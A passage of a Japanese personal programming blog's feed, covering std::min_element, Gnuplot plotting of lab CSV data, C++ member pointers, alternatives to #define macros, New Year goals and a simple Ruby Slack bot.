`foo(nyan[n])`が最小になるn取得するって感じのコードを某所で見つけた.  
こんな感じ.

```cpp
int result;
double prev = INFINITY;

for (int i = 0; i &lt; 5; i++) {
  if (foo(nyan[i]) &lt; prev) {
    prev = foo(nyan[i]);
    result = i;
  }
}

std::cout &lt;&lt; result &lt;&lt; std::endl; // = 4
```

別に問題ないんだけれども, とにかくCoolじゃなくて個人的にもにょる...

ってことでこんな感じなのを思いついた. もっとよさ気な書き方があったら教えてくださいー.  
動作確認は`clang++ -Wall -Wextra -std=c++14 prog.cc`でしました.

&lt;!--more--&gt;

## [std::min\_element](http://en.cppreference.com/w/cpp/algorithm/min_element)

これくらい標準ライブラリの何かでパパッとやって終わりそうだなとと思って[\&lt;algorithm\&gt;ヘッダで定義されてる関数一覧](http://en.cppreference.com/w/cpp/header/algorithm)を眺めていたら, 面白そうなのを見つけた.

&gt; #### std::min\_element

&gt; ```cpp
&gt; template&lt; class ForwardIt, class Compare &gt;
&gt; ForwardIt min_element( ForwardIt first, ForwardIt last, Compare comp );
&gt; ```

&gt; ##### Parameters

&gt; **first, last**  -  forward iterators defining the range to examine  
&gt; **cmp**  -  comparison function object (i.e. an object that satisfies the requirements of Compare) which returns true if a is less than b. 

これを使ってみることにした.

```cpp
const auto result_itr = std::min_element(std::cbegin(nyan), std::cend(nyan),
  [](const auto&amp; a, const auto&amp; b) {
    return foo(a) &lt; foo(b);
  });
int result = result_itr - std::cbegin(nyan);

std::cout &lt;&lt; result &lt;&lt; std::endl;
```

`const`とか`cbegin()`, `cend()`を使わなければもう少し短くなるけれど, 気分的に.

&lt;del&gt;正直Coolになったかは微妙なんだけど&lt;/del&gt;, `std::min_element`に関しては複雑な比較もできそうで面白いなと思った.

## 番外編

minがあれば当然maxもある.  
[std::minmax_element - cppreference.com](http://en.cppreference.com/w/cpp/algorithm/minmax_element)

そして, 同じく3番目の引数に関数オブジェクトを渡して動作をカスタムできる.

あれ...? もしかして......

```cpp
#include &lt;algorithm&gt;
#include &lt;array&gt;
#include &lt;iostream&gt;

auto main() -&gt; int {
  std::array&lt;int, 5&gt; a{{2, 6, 1, 9, 4}};

  auto min = std::min_element(a.cbegin(), a.cend(), [](const auto&amp; a, const auto&amp; b) {
    return a &gt; b;
  });

  auto max = std::max_element(a.cbegin(), a.cend(), [](const auto&amp; a, const auto&amp; b) {
    return a &gt; b;
  });

  std::cout &lt;&lt; &quot;std::min_element() : &quot; &lt;&lt; *min &lt;&lt; std::endl;
  std::cout &lt;&lt; &quot;std::max_element() : &quot; &lt;&lt; *max &lt;&lt; std::endl;
}
```

[実行結果](http://melpon.org/wandbox/permlink/0K7o7M5a1C9nS6Wr)

逆転できちゃったよ()</content:encoded></item><item><title>Gnuplotおぼえがき</title><link>https://myon.info/blog/2015/06/21/gnuplot-memo/</link><guid isPermaLink="true">https://myon.info/blog/2015/06/21/gnuplot-memo/</guid><pubDate>Sun, 21 Jun 2015 00:00:00 GMT</pubDate><content:encoded>僕はそういう学校に通っていることもあって, 毎週指導書に従った実験を行ってはレポートに追われるという日々を過ごしています.  
そのレポートには結果をグラフにせよという場合があるわけですが, 今年の実験は測定値の増加や複雑な指示があるなどの理由から, 今までのように手書きでグラフを描くのが流石に辛くなってきました.

例えば...

&gt; オシロスコープから直接出力したCSV形式のファイル(**データ数500件超**)をグラフにせよ

だとか,

&gt; (上のオシロから出力したデータより) CH1 - CH2をグラフにせよ

みたいなもの. また,

&gt; 測定値Aの関係をグラフにせよ  
&gt; また, 測定値Bの関係を片対数グラフにせよ

といった, **いくつ用紙の種類用意すればいいんだよ!**などなど... (まぁ甘えといえば甘えですが)

グラフ作成といったら**Excel**のイメージが強いんですが, イケイケのクールな学生を目指して(???)Gnuplotを使ってみたところ最高だったので忘れないようにメモしておきます.

&lt;!--more--&gt;

## インストール

僕はArch Linuxを使っているので以下のコマンドで一発でした.  
最近のバージョンからQt化されたようで, 大量のQtってるパッケージが突っ込まれた気がします.

```
% yaourt -S gnuplot
```

他のLinuxディストリビューションでも大抵は公式のパッケージとして用意されているだろうし, MacではHomebrew等で入れられると思います.  
Windowsは頑張ってください.

## とりあえずなにか描いてみる

とりあえずターミナルからGnuplotを起動し, こんな感じに打ち込んでみます.

```
% gnuplot

	G N U P L O T
	Version 5.0 patchlevel 0    last modified 2015-01-01 

	Copyright (C) 1986-1993, 1998, 2004, 2007-2015
	Thomas Williams, Colin Kelley and many others

	gnuplot home:     http://www.gnuplot.info
	faq, bugs, etc:   type &quot;help FAQ&quot;
	immediate help:   type &quot;help&quot;  (plot window: hit &apos;h&apos;)

Terminal type set to &apos;qt&apos;
gnuplot&gt; set grid
gnuplot&gt; plot 10 * sin(x) with line, \
10 * &gt;cos(x) with point, \
&gt;tan(x) with linespoints
```

![1](./1.png)

グリッド線を表示させる場合は, プロットする前に`set grid`を実行します.  
また, `set grid xtics`や `set grid ytics`とすればx軸のみやy軸のみにグリッド線を表示させることができます.

グラフの描画は`plot データや関数`という文法で行えます.  
また, 複数のデータを描画する場合は`,`で区切るほか, 普段使っているシェルのように`\`で改行して入力できます.

ラインの種類は, `plot データや関数 with ふがふが`で変更できます. 指定できるラインの一例として,

| 種類 | 省略形 | めも |
| --- | --- | --- |
| line | l | 線 |
| point | p | 点 |
| linespoints | lp | 線 + 点 |

などがあります.

## Gnuplotスクリプト

Gnuplotをターミナルで実行した時に出てくるインタプリタは, お世辞にも使いやすいとは言えません.  
Tab補完は効きませんし, ヒストリがあるものの一度終了させると全部打ち直さないといけないのは辛すぎです.

というわけで, テキストファイルにGnuplotの命令を書いて実行するって感じのスタイルをとってみましょう. めっちゃ便利です.

```sh
#!/usr/bin/gnuplot

set terminal png size 800, 600  # データは800x600のpng形式で

set output &apos;1.png&apos;              # ./1.pngに保存

set grid                        # グリッド線を表示

plot 10 * sin(x) with line, \
10 * cos(x) with point, \
tan(x) with linespoints
```

ファイルへの出力も上のサンプル通りです.

ちなみに, Vimではオムニ補完が効くほか, QuickRunのようなプラグインでVimから実行できたり, エラーをquickfixに表示できたりもします. 最高.  
![2](./2015-06-21-102251_3840x1080_scrot.png)

## CSV形式のファイルを扱う

最近のデジタルオシロは優秀で, USB端子からUSBフラッシュメモリ等に表示しているデータをCSV形式で出力できたりします.  
実際に[以下のRC回路の過渡現象を観測した時のデータ](https://drive.google.com/file/d/0B2w3TbN4IJZoUGhBc3kzdkRGZkU/view?usp=drive_link&amp;resourcekey=0-XjwQGuymU1vLFuN3zWFiag)がありますので, これで遊んでみましょう.  
![cu](./schemeit-project.png)

### CSV形式のファイルを読み込む

まず, CSV形式のファイルが読み込めるようにデータの区切り文字を`,`に変更します.

```sh
set datafile separator &apos;,&apos;
```

データをファイルから読み込みプロットするには, `plot`にファイル名を渡してやり, また`using x軸とする列:y軸とする列`というように指定します.  
ちなみに, 2つ目以降のファイル名は省略することができます.

```sh
plot &apos;3_1_2.csv&apos; using 1:2 with l, \
     &apos;&apos; using 1:3 with l
```

### 軸やラインにタイトルをつける

グラフのタイトルは`set title &apos;ほげ&apos;`, 軸のタイトルは`set xlabel &apos;ふが&apos;`, `set ylabel &apos;にゃん&apos;`, ラインのタイトルは`title &apos;ふぇえ&apos;`のように指定します.

最終的なスクリプトはこうなりました.

```sh
#!/usr/bin/gnuplot

set datafile separator &apos;,&apos;
set terminal png size 800, 600

set title &apos;Figure 1. RC Transients&apos;
set xlabel &apos;t [sec]&apos;
set ylabel &apos;V(t) [V]&apos;

set output &apos;rc-tran.png&apos;

plot &apos;3_1_2.csv&apos; using 1:2 with l title &apos;CH1&apos;, \
     &apos;&apos; using 1:3 with l title &apos;CH2&apos;
```

![rc](./rc-tran2.png)

## その他個人的によく使う機能

### 軸の範囲と間隔の指定

先ほど描画したグラフ, 左右に隙間があって気になりますね.  
描画する範囲は

```sh
set xrange [-4.0e-04:2.0e-03]   # x軸の範囲
set yrange [-1:6]               # y軸の範囲
```

または, プロットするときに

```sh
plot [-4.0e-04:2.0e-03] [-1:6] &apos;3_1_2.csv&apos; using 1:2 with l title &apos;CH1&apos;, \
     &apos;&apos; using 1:3 with l title &apos;CH2&apos;
```

と指定してやります.

また, 目盛りの間隔は,

```sh
set xtics 1e-3
```

のように指定します.

![rc2](./rc-tran.png)

### CSV形式のデータに対して演算を行う

[以下のようなRCローパスフィルタ回路の実験をした時のデータ](https://drive.google.com/file/d/0B2w3TbN4IJZoUEloUHAwV2dZU1k/view?usp=sharing&amp;resourcekey=0-OvvgvEbtye88yH_8-IpiYA)がありますので, 周波数特性のグラフを作成してみます.  
![lpf](./New-Project.png)

CSV形式のデータに対して演算を行うには, `using ほげ:ふが`の部分を弄ってやります.  
列の値は`$列番号`って感じで取得できますので, 電圧利得`|Gv| = 20 * log10(Vout / Vin) [dB]`は,

```sh
plot [] [:0] &apos;./lpf2.csv&apos; using 1:(20 * log10($3 / $2)) with p title &apos;Gv&apos;
```

となります.

```sh
set logscale x
```

でx軸を対数軸にして出力してやると...  
![lpf](./rc-lpf.png)

### グラフをなめらかにする

先ほどの周波数の特性のグラフを線で結びたいわけですが, この変化はカクカクではないので, 点と点を直線で結ぶわけにはいきません.

そこで, `smooth`を使います.

```sh
plot [] [:0] &apos;./lpf2.csv&apos; using 1:(20 * log10($3 / $2)) smooth bezier with l title &apos;Gv&apos;
```

`smooth`には以下のようなオプションがあるので, 目的やデータに合わせて変更すると良いと思います.  
(ここで紹介しているのは一部です)

| オプション | めも |
| --- | --- |
| unique | 線形補間を行う |
| cspline | スプライン曲線による補間を行う |
| bezier | ベジェ曲線による補間を行う |

そして, 最終的なスクリプトはこうなりました.

```sh
#!/usr/bin/gnuplot

set datafile separator &apos;,&apos;
set terminal png size 800, 600

set title &apos;Figure 2. RC-LPF&apos;
set xlabel &apos;f [Hz]&apos;
set ylabel &apos;Gv [dB]&apos;

set logscale x

set output &apos;rc-lpf2.png&apos;

plot [] [:0] &apos;./lpf2.csv&apos; using 1:(20*log10($3 / $2)) smooth bezier with l title &apos;Gv&apos;
```

![lpf2](./rc-lpf2.png)

## おわり

Gnuplotにはまだたくさんの機能がありますが, 今日もレポートが忙しいのでこれくらいで.  
すごく電気科電気科してる記事になった気がします.

ではではー.</content:encoded></item><item><title>クラスメンバへのポインタ</title><link>https://myon.info/blog/2015/08/01/class-memberfunc-ptr/</link><guid isPermaLink="true">https://myon.info/blog/2015/08/01/class-memberfunc-ptr/</guid><pubDate>Sat, 01 Aug 2015 00:00:00 GMT</pubDate><content:encoded>某所で書いているプログラムで, `std::thread()` にクラスのメンバ関数を渡したいなーってことがあった.  
[std::thread::thread - cppreference.com](http://en.cppreference.com/w/cpp/thread/thread/thread)にもそれっぽい記述がないのでググっていると, どうやらこんな感じにするらしい.

[c++ - Start thread with member function - Stack Overflow](http://stackoverflow.com/questions/10673585/start-thread-with-member-function)

```cpp
#include &lt;iostream&gt;
#include &lt;memory&gt;
#include &lt;thread&gt;

class nyan {
  std::unique_ptr&lt;std::thread&gt; th_;

public:
  void run() {
    th_ = std::make_unique&lt;std::thread&gt;(&amp;nyan::worker, this);
  }

  ~nyan() {
    th_-&gt;join();
  }

private:
  void worker() {
    std::cout &lt;&lt; &quot;Nyan!!&quot; &lt;&lt; std::endl;
  }
};

auto main() -&gt; int {
  nyan n;
  n.run();
}
```

この`&amp;nyan::worker`みたいな記述がサッパリわからなかったので, C++のクラスのメンバ関数のポインタを調べたときのメモ.

&lt;!--more--&gt;

## 関数ポインタ

そもそもC/C++の関数ポインタについてあまり詳しくなかったので復習してみる.

[C++ポケットリファレンス](http://www.amazon.co.jp/dp/4774157155)の36ページによると,  

```
戻り値の型 (*ポインタ変数名)(仮引数リスト);
```

のように書くらしい.

```cpp
#include &lt;iostream&gt;

template &lt;typename T&gt;
T twice(const T n) {
  return n * 2;
}

auto main() -&gt; int {
  int    (*ti)(int)    = twice&lt;int&gt;;
  double (*td)(double) = twice&lt;double&gt;;

  std::cout ti(12);  &lt;&lt; std::endl; // =&gt; 24
  std::cout td(3.5); &lt;&lt; std::endl; // =&gt; 7
}
```

## メンバへのポインタ

じゃあ本題のメンバへのポインタはどう書くかというと, 同ページによれば

```
// メンバ変数
型 クラス名::*ポインタ変数名;

// メンバ関数
戻り値の型 (クラス名::*ポインタ変数名)(仮引数リスト);
```

のように書き, こんな感じに使うらしい.

```cpp
#include &lt;iostream&gt;

struct foo {
  int val_;

  int twice(int n) {
    return n * 2;
  }
};

auto main() -&gt; int {
  int foo::*v = &amp;foo::val_;
  int (foo::*t)(int) = &amp;foo::twice;

  {
    foo f;
    f.*v = (f.*t)(12);

    std::cout &lt;&lt; f.*v &lt;&lt; std::endl; // 24
  }

  {
    auto f = new foo;
    f-&gt;*v = (f-&gt;*t)(12);

    std::cout &lt;&lt; f-&gt;*v &lt;&lt; std::endl; // 24

    delete f;
  }
}
```

( ˘⊖˘)ん???

## おわり

最初に書いた`std::thread()`の例みたいに, クラスのメンバを外で使いたい場合は**メンバを指すポインタ**と**オブジェクト**を渡せば良いわけですね.

```cpp
#include &lt;iostream&gt;

struct foo {
  void nyan(const char* str) {
    std::cout &lt;&lt; str &lt;&lt; std::endl;
  }
};

template &lt;class Func, class Instance, class... Args&gt;
void hoge(Func&amp;&amp; f, Instance&amp;&amp; i, Args&amp;&amp;... args) {
  // (2) 外からmain()のf.nyan()が呼び出せる
  (i-&gt;*f)(std::forward&lt;Args&gt;(args)...);
}

auto main() -&gt; int {
  foo f;

  // (1) foo::nyan()へのポインタとオブジェクトを渡してやれば
  hoge(&amp;foo::nyan, &amp;f, &quot;にゃーん&quot;);
}
```

うーん, クラスがどういうものかっていうのがよくわかる書き方ではあるなぁと思うけど, かなり特殊だしすぐ忘れそう.....</content:encoded></item><item><title>それC++なら#defineじゃなくてもできるよ</title><link>https://myon.info/blog/2015/12/18/avoid-defining-macros/</link><guid isPermaLink="true">https://myon.info/blog/2015/12/18/avoid-defining-macros/</guid><pubDate>Fri, 18 Dec 2015 00:00:00 GMT</pubDate><content:encoded>この記事は [初心者 C++er Advent Calendar 2015](http://www.adventar.org/calendars/922) 18日目の記事です.  
17日目の記事は[@yumetodo](https://twitter.com/yumetodo)さんで [C99からC++14を駆け抜けるC++講座](http://qiita.com/yumetodo/items/e49a673afd9a3ecb81a8)でした.

はじめましての人ははじめまして, とさいぬです.  
自称情報系の電気科学生をやっています.

C++歴は2年くらいで, Twitterで知り合ったC#erやRubyistのマネをしようと[Twitterライブラリ](https://github.com/Tosainu/twitpp)を書いたり, 最近は某所でプログラムを書きながら新しく入ったメンバーにC++を教えたりもしています.

## もう汚いマクロは見たくないんだ

今年は何かと **マクロ** に苦しめられた年でした.

C言語の入門書や学校のC言語の授業では, `#define`を **定数を定義するための構文** として細かな説明もなく使われだしたりします.  
故に, 今年から参加することになった某所のソフトでは, こんなコードや

```cpp
void yabai_func1() {
#define N 10
  for (int i = 0; i &lt; N; i++) {
    /* */
  }
}

void yabai_func2() {
#define N 15
  for (int i = 0; i &lt; N; i++) {
    /* */
  }
}
```

こんなコードまで発掘されました.

```cpp
class yabaclass {
private:
#define ARRAY_SIZE 10
  // ...
};
```

また, [昨年秋から今年の初めまで触っていたとあるフレームワーク](/blog/2015/02/28/cocoatwit/)では, **特殊な構文を実現するために定義された大量のマクロに起因する不可解なコンパイルエラー** に悩まされ, C++やめてやろうかとまで思ったりもしました.

**もうこんなマクロ定義するの, やめませんか?**

そうした思いを込めて, この記事では **Cプリプロセッサとは何か**, そして **C++だからできる`#define`を使わない書き方** について紹介できたらなと思います.

&lt;!--more--&gt;

## Cプリプロセッサってなんだろう

### C/C++のビルドプロセス

まず, C/C++のソースファイルを **ビルド** して実行ファイルが出来上がるまでの過程を再確認しておきましょう.  
この **ビルド** と呼ばれる過程を簡単な図にすると以下のようになります.  
![build](./build.png)

ソースファイルはまず **プリプロセッサ** によるコンパイル前の準備を受けます.  
ここでは今回扱う`#define`をはじめ, `#include`や`#ifdef`といった`#`で始まる **プリプロセッサ命令** が処理されます.  
この段階を **プリプロセス**, プリプロセス時に行わせる処理を **プリプロセス時処理** と呼んだりします.

プリプロセッサで処理されたソースファイルは **コンパイラ** が受け取り, コンピュータが実行できる形式, すなわち機械語への翻訳が行われます.  
この段階を **コンパイル**, コンパイル時に行わせる処理を **コンパイル時処理** と呼んだりします.

こうして出来上がったオブジェクトファイルは, **リンカ** によりまとめられ一つの実行ファイルになります.  
図では省略していますが, 標準ライブラリとの結合もこの段階で行われます.

### `#define`

先ほど説明したように, `#define`を始めとするプリプロセッサ命令はコンパイルとは別の段階で処理されます.  
では, 具体的に`#define`はどのように処理されるのでしょうか.

ざっくり言うと, ソースファイルを **テキスト文章** として扱い, `#define`で定義されたマクロに従い **文字列の置換** が行われます.

例えばこんなコードがあったとします.

```c
#define ARRAY_SIZE 10

int array[ARRAY_SIZE];

for (int i = 0; i &lt; ARRAY_SIZE; ++i) {
  array[i] = i;
}
```

このコードは, 1行目で定義されたマクロにより **ARRAY\_SIZEを10に置換する** という処理がプリプロセッサで行われ, 以下のようなコードを生成しコンパイラに渡します.

```c
int array[10];

for (int i = 0; i &lt; 10; ++i) {
  array[i] = i;
}
```

プリプロセス時の処理は **C++として** ではなく **テキスト文章として** 処理されることが重要で, こんなコードも問題なく処理されますし...

```cpp
#define START int main() {
#define PRINT(x) std::cout &lt;&lt; x &lt;&lt; std::endl;
#define END }

START
PRINT(&quot;Hello World!&quot;)
END
```

**スコープ** といったC/C++の概念も存在しません.

```cpp
void func1() {
#define ARRAY_SIZE 10
  int array[ARRAY_SIZE];
  // ...
}

void func2() {
  int array[ARRAY_SIZE]; // ここでもARRAY_SIZEが使える
  // ...
}
```

今回は説明を省きますが, `#include`と組み合わせれば... 置換が行われる範囲がヤバイことになるのは明らかですね.  
この恐ろしさ, おわかりいただけただろうか...

## C++だからできる `#define` を使わない書き方

### 定数

C言語では, 定数を宣言するための方法の一つとして`#define`が使われてきました.

```c
#define ARRAY_SIZE 10

int array[ARRAY_SIZE];
```

こうした理由としては,

* 配列を宣言するとき, 要素数の指定に変数が使えなかった[^1]
* `const`修飾した変数はポインタ経由で簡単に書き換えることが可能であった[^2]

などがあります.

[^1]: ISO C99以降の規格ではconstでない変数でもブチ込めるらしいです &lt;http://en.cppreference.com/w/c/language/array#Variable-length_arrays&gt;
[^2]: &lt;http://melpon.org/wandbox/permlink/ReUcCc32m2MufS4z&gt;

#### C++のconst

C++の`const`はC言語と違い, `const`修飾されたオブジェクトは書き換えることはできません[^3].  
また, 配列の要素数の指定に使うこともできますし, スコープの概念もちゃんとあります.

[^3]: `const_cast`なんてなかった

```cpp
void nyan() {
  const int array_size = 10;
  int array1[array_size];  // OK!!
  std::array&lt;int, array_size&gt; array2; // これも問題ない...?
}

void myon() {
  int array[array_size];  // エラー, ここでarray_sizeは使えない
}
```

`#define`と違い, 型を明確にできるのも`const`を使った定数の強みですね.  
詳しい理由は省きますが, 多くのファイルからincludeされるようなヘッダファイルの`#define`を`const`に置き換える場合は, 多重定義などを防ぐために`static`もつけると良いでしょう.

```cpp
const static int i = 123;
const static double d = 4.56;
const static char c = &apos;A&apos;;
const static std::string s = &quot;Nyan!&quot;;
```

全てのクラスオブジェクトで使う定数を宣言したい場合も`const static`を使うと良いでしょう.  
ただし, クラス定義の中で値を初期化できるConstant staticデータメンバは`int`もしくは`enum`の場合のみで, それ以外はクラス定義の外に定義を書かなければいけません. これは後述する`constexpr`を使うと解決できます.

```cpp
class nyan {
  // int, もしくはenumの場合のみ, クラス定義の中で初期化できる
  const static int array_size = 10;
  int array[array_size];

  enum myon {
    abc,
    def
  };
  const static myon m = abc;

  // それ以外は宣言しか書けず...
  const static double d;
  const static std::string str;
};

// ...クラス定義の外で定義を書かなければいけない
const double nyan::d = 1.23;
const std::string nyan::str = &quot;Hello&quot;;
```

#### constexpr変数

C++11から`constexpr`指定子が追加されました. [1日目の記事](http://secret-garden.hatenablog.com/entry/2015/12/01/204727)で書かれているようにあまり初心者向けでなく, 僕自身使いこなせていない機能ではありますが, 今回のような用途に限定すれば極めて単純です.

変数を定義する際, `const`と同様に`constexpr`を付けることで, その変数は **コンパイル時定数** となります.  
コンパイル時定数, すなわち **配列の要素数の指定** や **`template`の非型引数** などにも渡すことのできる値を定義することができます.  
もちろん, `const`と同じように実行時の定数としても扱えます.

```cpp
constexpr int array_size = 123;

int array1[array_size];
std::array&lt;int, array_size&gt; array2;

std::cout &lt;&lt; array_size &lt;&lt; std::endl;
```

全てのクラスオブジェクトで使う定数の宣言するとき, それがリテラル型(`int`, `double`, `char`など)であれば`const`のかわりに`constexpr`を使うことができます.  
`const`と違い, クラス定義の中で値を初期化することができるのは強いですね.

```cpp
class nyan {
  constexpr static int i = 1;
  constexpr static double d = 1.2;
  constexpr static char str[] = &quot;nyan!&quot;;
};
```

### 型に依らない関数モドキ

C言語では, `MIN()`, `MAX()`といった **引数の型に依らず動作する関数みたいなもの** を定義するためにも`#define`が使われてきました.

```c
#define MIN(a,b) (((a)&lt;(b))?(a):(b))
#define MAX(a,b) (((a)&gt;(b))?(a):(b))

std::cout &lt;&lt; MIN(12, 34) &lt;&lt; std::endl; // =&gt; 12
std::cout &lt;&lt; MAX(5.6, 7.8) &lt;&lt; std::endl; // =&gt; 7.8
```

#### 関数template

昨日の記事でも取り上げられていましたが, もう一度.

C++では, 引数や返り値が違う同じ名前の関数を複数定義することが可能です.  
これを **関数オーバーロード**(多重定義)といいます.

```cpp
int twice(int x) {  // (1)
  return x * 2;
}

double twice(double d) {  // (2)
  return d * 2;
}

std::cout &lt;&lt; twice(12) &lt;&lt; std::endl;  // (1)が呼び出される. 出力は24
std::cout &lt;&lt; twice(3.4) &lt;&lt; std::endl; // (2)が呼び出される. 出力は6.8
```

しかし, こうした関数を必要な型の数だけ書くのも大変だし, 関数の仕様変更の際は修正箇所が莫大に...  
ってことで, それを半自動的に行うことができるのが **関数template** でしたね.

```cpp
template &lt;typename T&gt;
T twice(T n) {
  return n * 2;
}

std::cout &lt;&lt; twice&lt;int&gt;(12) &lt;&lt; std::endl;     // Tがintになった関数が呼び出される
std::cout &lt;&lt; twice&lt;double&gt;(3.4) &lt;&lt; std::endl; // Tがdoubleになった関数が呼び出される

std::cout &lt;&lt; twice(12) &lt;&lt; std::endl;  // コンパイラがTはintだと推論してくれる
std::cout &lt;&lt; twice(3.4) &lt;&lt; std::endl; // コンパイラがTはdoubleだと推論してくれる
```

関数templateを使えば, こうした複数の型に対応する関数を定義することが可能になるので, マクロを使った関数モドキは必要ありませんね.  
上で挙げた`MIN()`, `MAX()`を`template`を使って書き直すとこうなります.

```cpp
template &lt;typename T&gt;
inline T min(T a, T b) {
  return a &lt; b ? a : b;
}

template &lt;typename T&gt;
inline T max(T a, T b) {
  return a &gt; b ? a : b;
}
```

ちなみに, ここまで書いておいてなんですが, C++では`&lt;algorithm&gt;`ヘッダをincludeすることで[`std::min()`](http://en.cppreference.com/w/cpp/algorithm/min), [`std::max()`](http://en.cppreference.com/w/cpp/algorithm/max)が使えるようになります.  
C++ならこちらを使うほうが良いでしょう.

## まとめ

マクロは強力だけれど, C++ではある程度をC++だけで実現できます.  
マクロは用法, 容量を守って正しく使い, バグの少ない, デバッグのしやすいプログラムを書いていきましょう!!!

## 参考文献

* **C++ポケットリファレンス** (2013) 高橋晶・安藤敏彦・一戸優介・楠田真矢・道化師・湯朝剛介 技術評論社
* **[C++11: Syntax and Feature](http://ezoeryou.github.io/cpp-book/C++11-Syntax-and-Feature.xhtml)** (2013) 江添亮
* **[中３女子でもわかる constexpr](http://www.slideshare.net/GenyaMurakami/constexpr-10458089)** 村上原野
* **[static specifier - cppreference.com](http://en.cppreference.com/w/cpp/language/static)**</content:encoded></item><item><title>2016</title><link>https://myon.info/blog/2016/01/01/2016-new-year-resolution/</link><guid isPermaLink="true">https://myon.info/blog/2016/01/01/2016-new-year-resolution/</guid><pubDate>Fri, 01 Jan 2016 00:00:00 GMT</pubDate><content:encoded>あけましたおめでとうございますー. 今年もよろしくお願いします.

2015の振り返り記事, 本当は12月中に書きたかったのですが, 本当に忙しくて...  
一段落ついたころ(年度末くらい?)に改めて記事にしたいと思います.

## 目標っぽいもの

去年 -&gt; [2015 | とさいぬの隠し部屋](/blog/2015/01/02/2015-new-year-resolution/)

### プログラミング等

* C++
    * メタプロ寄りの知識を増やす
    * 某所ソフトウェアの完成
* Haskell
    * すごいH本読破
* 数学的知識を必要とするようなプログラムを書く

### 資格等

* 一昨年のFE, 昨年のAPに続き, 何か高度試験に挑戦
* TOEIC

### 学校

* 今年も進級
* 進学...?

### その他

* リアル/ネット上問わず発言に気をつける
* 衝動買いに気をつける
* 近い地域の勉強会やOSC等に積極的に参加
* 長距離ドライブしてみたい
* ごちうさ布教</content:encoded></item><item><title>SlackのBotを書いてみた</title><link>https://myon.info/blog/2016/01/24/slack-bot/</link><guid isPermaLink="true">https://myon.info/blog/2016/01/24/slack-bot/</guid><pubDate>Sun, 24 Jan 2016 00:00:00 GMT</pubDate><content:encoded>今までメッセージのやり取りをL○NEで行っていた某所が, ついにSlackに移行しました. 非常にめでたい.

んで, 個人的に **SlackといったらBot** みたいなのがあるので, とりあえずサクッとBot書いてみた時のメモです.  
ぶっちゃけ, この手の記事は全世界各言語でいくつもあると思いますが.

&lt;!--more--&gt;

## Real Time Messaging API

SlackのBotを書き始める前に, まずSlackのAPIがどんな感じになっているかを調べておきます.

SlackにはいくつかのAPIが用意されていますが, その一つである**[Real Time Messaging API](https://api.slack.com/rtm)**(以後RTM)は, その名の通りリアルタイムにSlackの各イベントを受け取ることのできるAPIです.

APIは他にもありますが, 何かイベントが合った時にHTTP POSTリクエストが行われるという各**Webhook**や**Slash Command**は, 外からアクセスできるWeb鯖を立てにくい環境にある身としては敷居が高かったので, 今回はRTMを利用することにしました.

### Event

RTMを使うことでSlack上で起きた出来事をリアルタイムで取得できるわけですが, それらは**Event**で区別されています.  
受け取ることのできるEventは[ここ](https://api.slack.com/rtm#events)に全て載っていますが, 今回は接続を確認するために`hello`, 投稿されたメッセージの情報を受け取るために`message`を使いました.

#### [hello event](https://api.slack.com/events/hello)

サーバとの接続ができた時に送られてくるイベントです.

#### [message event](https://api.slack.com/events/message)

新しいメッセージが投稿されたり, 編集/削除されたときに送られてきます.  
受け取ることができる主な情報は

| プロパティ名 | 受け取れるデータ |
| :-: | --- |
| `channel` | メッセーが投稿されたチャンネル固有のID (名前ではない) |
| `user` | メッセージを投稿したユーザ固有のID (@hogefugaではない) |
| `text` | メッセージの本文 |
| `ts` | メッセージが投稿された時間 |

メッセージが編集/削除された時やStarされたメッセージなどはもう少し取れる情報が増えたり形式が変わったりするようですが, その辺に関しては割愛します.

## SlackにBot userを追加する

今回作成するBot用のユーザを追加します.

[Build Your Own | Slack](https://slack.com/apps/build)を開き, 右側の**Make a Custom Integration**ボタンをクリックします.  
![custom integratioon](./2016-01-24-114429_1920x1080_scrot.png)

追加したいチームのBuild a Custom Integrationページに移動したら, **Bots**を選択.  
![make bot](./2016-01-24-114447_1920x1080_scrot.png)

任意のUsernameを設定して完了です.  
![username](./2016-01-24-114610_1920x1080_scrot.png)

Integration Settingsの**API Token**を後で使うので控えておきます.  
![token](./2016-01-24-114704_1920x1080_scrot.png)

## slack-ruby-clientでBotを書く

Twitter APIのときみたいに **C++でOAuthから手書き~** みたいなことも考えましたが, 今回使いたかったRTMはWebSocketベースのAPIらしく, 暇もないしちょーっと大変そうだなーと思ったので, 今回はRubyで書きました.  
Slackの利用者にプログラマが多いせいか, `Node.js`や`Ruby`といったWebアプリ界隈に人気の言語を中心に各言語でライブラリが揃っており, 比較的扱いやすいプラットフォームなのではないかなーという印象を受けました.  

* Ruby 2.3.0p0 (2015-12-25 revision 53290) [x86\_64-linux]
* Bundler 1.11.2
* [slack-ruby-client](https://github.com/dblock/slack-ruby-client) 0.5.4

### RTM Clientを使う

まぁ公式の[README](https://github.com/dblock/slack-ruby-client/blob/faab93a33f59ef89bc97f985437e476b048a086a/README.md#realtime-client)やドキュメントを見ればいいのですが, こんな感じに書くようです.

```ruby
require &apos;slack-ruby-client&apos;

Slack.configure do |conf|
  # 先ほど控えておいたAPI Tokenをセット
  conf.token = &apos;API Token&apos;
end

# RTM Clientのインスタンスを生成
client = Slack::RealTime::Client.new

# hello eventを受け取った時の処理
client.on :hello do
  puts &apos;connected!&apos;
end

# message eventを受け取った時の処理
client.on :message do |data|
  case data[&apos;text&apos;]
  when &apos;にゃーん&apos; then
    # textが &apos;にゃーん&apos; だったらそのチャンネルに &apos;Λ__Λ&apos; を投稿
    client.message channel: data[&apos;channel&apos;], text:&apos;Λ__Λ&apos;
  end
end

# Slackに接続
client.start!
```

こんな感じの`Gemfile`を作成して

```ruby
source &apos;https://rubygems.org&apos;

gem &apos;slack-ruby-client&apos;

# RTM Clientを使うとき必要
gem &apos;eventmachine&apos;
gem &apos;faye-websocket&apos;
```

こんな感じに実行すれば...

```
// 依存するGemのインストール (最初だけ必要)
$ bundle install --path vendor/bundle

// Botの実行 (上のソースをbot.rbで保存している場合)
$ bundle exec ruby bot.rb
```

